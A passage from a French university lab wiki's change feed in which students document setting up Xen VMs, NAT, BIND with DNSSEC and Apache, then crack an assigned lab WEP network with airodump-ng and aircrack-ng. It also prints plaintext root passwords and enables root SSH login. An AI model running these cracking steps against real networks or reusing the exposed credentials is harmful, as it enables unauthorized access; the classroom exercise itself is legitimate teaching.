write&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
wifi-E306(config)#interface GigabitEthernet0.15&lt;br /&gt;
wifi-E306(config-subif)#encapsulation dot1Q 15&lt;br /&gt;
wifi-E306(config-subif)#bridge-group 15&lt;br /&gt;
wifi-E306(config-subif)#bridge-group 15 spanning-disabled&lt;br /&gt;
wifi-E306(config-subif)#no bridge-group 15 source-learning&lt;br /&gt;
wifi-E306(config-subif)#exit&lt;br /&gt;
wifi-E306(config)#exit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
interface Dot11Radio0.15&lt;br /&gt;
 encapsulation dot1Q 15&lt;br /&gt;
 bridge-group 15&lt;br /&gt;
 bridge-group 15 subscriber-loop-control&lt;br /&gt;
 bridge-group 15 spanning-disabled&lt;br /&gt;
 bridge-group 15 block-unknown-source&lt;br /&gt;
 no bridge-group 15 source-learning&lt;br /&gt;
 no bridge-group 15 unicast-flooding&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12218</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=12218"/>
		<updated>2026-02-10T17:05:38Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Nos résultats : */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe :  &lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:p+nECGSXOPvFjDjk+/x8adAn8JxTTPjuknCTcFZxJNk (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:YaNMhK5ZFF/TshemMHSmt08R9uBPAnhNK134XEZ0CuY (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:qQNuBNfAoySUPOFPplDh8p0ZPtxRulz/vbOq+Pm4gwM (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:psWV2TNuHsZcRelqipM7TJ/mE4cvFI+oxndg6nvCpCk (RSA)&lt;br /&gt;
Root Password   :  6nyCiterydiMtnxsPDRsUys&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&lt;br /&gt;
# Pour l'ipv6&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IPV4 de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED,bridge=SE4']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH  476  ssh   -oKexAlgorithms=+diffie-hellman-group14-sha1   -oHostKeyAlgorithms=+ssh-rsa    -oCiphers=+aes128-cbc   admin@172.27.0.3 ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt upgrade&lt;br /&gt;
&lt;br /&gt;
apt install ssh&lt;br /&gt;
apt install bind9&lt;br /&gt;
apt install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour la machine mandataire, ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.10.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt; &lt;br /&gt;
&lt;br /&gt;
==== Mascarade ====&lt;br /&gt;
Sur la mandataire : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.10.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et on décommente cette ligne dans &amp;lt;code&amp;gt;/etc/sysctl.conf&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et maintenant nous pouvons nous connecter à notre machine de service en ssh : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
#IPV4&lt;br /&gt;
ssh root@193.48.57.166 -p 2202&lt;br /&gt;
# IPV6&lt;br /&gt;
ssh root@2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== DNS ====&lt;br /&gt;
Tout d'abord, il faut modifier &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt; : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;archlinuxbtw.lol&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/myZones/db.archlinuxbtw.lol&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;};&lt;br /&gt;
	notify yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot;{&lt;br /&gt;
	192.168.10.2;&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe36:79d9;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;archlinux.lol&amp;quot; {&lt;br /&gt;
	type secondary;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/db.archlinux.lol&amp;quot;;&lt;br /&gt;
	primaries{2001:660:4401:60a0:216:3eff:fe36:79d9;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;J'ai ensuite créée un dossier myZones puis j'ai créer db.archlinuxbtw.lol et j'y ai ajouter :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.archlinuxbtw.lol admin.archlinuxbtw.lol (&lt;br /&gt;
          3609     ; Numero de version&lt;br /&gt;
          21600     ; Rafraichissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
         86400     ; Cache negatif (24h)&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
	IN	NS	ns.archlinuxbtw.lol.&lt;br /&gt;
	IN	NS	ns.archlinux.lol.&lt;br /&gt;
@	IN	A	193.48.57.166&lt;br /&gt;
@	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
ns	IN	A	193.48.57.166&lt;br /&gt;
ns	IN	AAAA	2001:660:4401:60a0:216:3eff:fe8b:45ed&lt;br /&gt;
&lt;br /&gt;
www IN CNAME archlinuxbtw.lol&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite on restart le service via : &amp;lt;code&amp;gt;service named restart&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création d'une clé&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout archlinuxbtw.lol.key -out archlinuxbtw.csr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:DNS Check.png|centré|vignette|452x452px|DNS Checker ]]&lt;br /&gt;
Notre DNS est bien reconnu et la commande  &amp;lt;code&amp;gt;dig @8.8.8.8 archlinuxbtw.lol&amp;lt;/code&amp;gt; c'est grâce au Glue records.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Génération des clés&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Changement nom machine &amp;lt;code&amp;gt;nano /etc/hostname : CachyOS&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/hosts:&lt;br /&gt;
&lt;br /&gt;
127.0.1.1    archlinuxbtw.lol SE4.CachyOS&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
Afin de protéger notre DNS contre des possibles attaques nous utiliserons DNSSEC. Ici nous utiliserons la politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
Ensuite on crée le dossier keys et on donne les droits a bind d'écrire dedans avec :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour ce faire, dans &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; il faut rajouter les 3 lignes à partir de &amp;quot;key-directory&amp;quot; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
  key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot;;   // DNSSEC automatique&lt;br /&gt;
  inline-signing yes;&lt;br /&gt;
  &lt;br /&gt;
  [...]&lt;br /&gt;
  &lt;br /&gt;
  dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
   keys {&lt;br /&gt;
       ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
       zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   };&lt;br /&gt;
   nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'activer, il faut restart bind9 avec &amp;lt;code&amp;gt;systemctl restart bind9&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à ajouter la clé KSK sur Gandi et ensite on peut voir s'il fonctionne bien grace au site suivant : &amp;lt;nowiki&amp;gt;https://dnsviz.net&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
[[Fichier:DNSSec.png|centré|vignette|DNSSec]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et on peut voir que nos clefs on bien été générer : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@CachyOS:/etc/bind# ls keys/&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.key      Karchlinuxbtw.lol.+013+56682.key&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.private  Karchlinuxbtw.lol.+013+56682.private&lt;br /&gt;
Karchlinuxbtw.lol.+013+24458.state    Karchlinuxbtw.lol.+013+56682.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Apache ====&lt;br /&gt;
Dans ce repertoire &amp;lt;code&amp;gt;/etc/apache2/sites-availab&amp;lt;/code&amp;gt;le  : touch archlinuxbtw.lol.conf &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je genere un crt via la commande : &lt;br /&gt;
&lt;br /&gt;
openssl x509 -req -days 365 -in archlinuxbtw.csr -signkey archlinuxb&lt;br /&gt;
&lt;br /&gt;
tw.lol.key -out archlinuxbtw.lol.crt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Et je deplace mes fichiers dans : &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.crt /etc/ssl/certs/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# mv archlinuxbtw.lol.key /etc/ssl/private/ &lt;br /&gt;
&lt;br /&gt;
root@CachyOS:~# chmod 600 /etc/ssl/private/archlinuxbtw.lol.key&lt;br /&gt;
&lt;br /&gt;
Pour arreter le service par defaut : a2dissite 000-default.conf &lt;br /&gt;
&lt;br /&gt;
Et on verifie avec la commande :  apache2ctl -S&lt;br /&gt;
&lt;br /&gt;
Iptable pour atteindres les ports https : &amp;lt;code&amp;gt;# HTTP iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 192.168.10.3:80 # HTTPS iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 192.168.10.3:443 iptables-save&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 80 -j ACCEPT&lt;br /&gt;
&lt;br /&gt;
iptables -A FORWARD -p tcp -d 192.168.10.3 --dport 443 -j ACCEPT&lt;br /&gt;
==== Effraction WiFi ====&lt;br /&gt;
&lt;br /&gt;
===== Cassage WEP =====&lt;br /&gt;
Il faut tout faire sur la zabeth13 comme on avait tester sur 4 machines dans la semaine avec mon binome les cartes réseaux des autres machines ne marchent pas. &lt;br /&gt;
&lt;br /&gt;
Avec ip link je vois que l'interface wifi se nomme &amp;lt;code&amp;gt;wlx40a5ef0f679b&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On peut alors recuperer le bssid de notre réseau wifi a crack. Je suis le numéro 5 donc je dois crack la cracotte05 : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Je recupere :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;04:DA:D2:9C:50:54  -63       27        5    0   4   54e. WEP  WEP         cracotte05&amp;lt;/code&amp;gt;   &lt;br /&gt;
&lt;br /&gt;
Je peux alors dump correctement en filtrant seulement le bon bssid et le bon channel via cette commande : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo airodump-ng wlx40a5ef0f679b --write airodump --bssid 04:DA:D2:9C:50:54 -c4&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et en parallele on lance ceci jusqu'a ce que la clef soit trouvé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;aircrack-ng airodump-01.cap&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                     Aircrack-ng 1.7 &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                       [00:26:11] Tested 835 keys (got 68980 IVs)&lt;br /&gt;
                                                                                Got 70001 out of 70000 IVsStarting PTW attack with 70001 ivs.&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
